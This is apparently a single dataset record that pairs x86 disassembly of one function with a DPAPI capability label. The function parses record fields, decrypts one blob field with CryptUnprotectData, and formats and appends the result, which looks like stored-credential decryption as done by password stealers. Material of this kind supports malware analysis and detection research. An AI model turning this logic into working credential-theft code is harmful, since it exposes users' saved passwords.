Function at 0x408cbf
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc68
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x828], 0
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00408c1c
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add dword [ebp + 0xc], eax
dec dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x82c], 0
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x838], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp + 0xc], eax
mov dword [ebp - 0x14], 0
jmp 0x408f55
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00408c1c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x10], eax
cmp dword [ebp - 0x18], 0xb
jbe 0x408ebc
mov eax, dword [ebp - 0x18]
and eax, 1
test eax, eax
jne 0x408ebc
mov eax, dword [ebp - 0x18]
sub eax, 0xc
shr eax, 1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 5
jne 0x408ebc
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x834], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x830], eax
lea eax, [ebp - 0x83c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x834]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x408e80
mov edx, dword [ebp - 0x838]
mov eax, dword [ebp - 0x83c]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x838]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x824]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x424]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
lea eax, [ebp - 0x82c]
mov dword [esp], eax
call fcn.00409983
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
je 0x408e6f
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x82c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x828]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x838]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x824]
mov dword [esp], eax
call fcn.00409bfc
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x424]
mov dword [esp], eax
call fcn.00409bfc
cmp dword [ebp - 0x18], 0xc
jbe 0x408f49
mov eax, dword [ebp - 0x18]
and eax, 1
test eax, eax
je 0x408f49
mov eax, dword [ebp - 0x18]
sub eax, 0xd
shr eax, 1
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
inc eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc3c]
mov dword [esp], eax
call fcn.00409768
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x408f06
cmp eax, 3
je 0x408f28
jmp 0x408f49
mov dword [esp + 8], 0x400
lea eax, [ebp - 0xc3c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x424]
mov dword [esp], eax
call fcn.00409768
jmp 0x408f49
mov dword [esp + 8], 0x400
lea eax, [ebp - 0xc3c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x824]
mov dword [esp], eax
call fcn.00409768
nop
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
add dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jge 0x408d3b
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x828]
leave
ret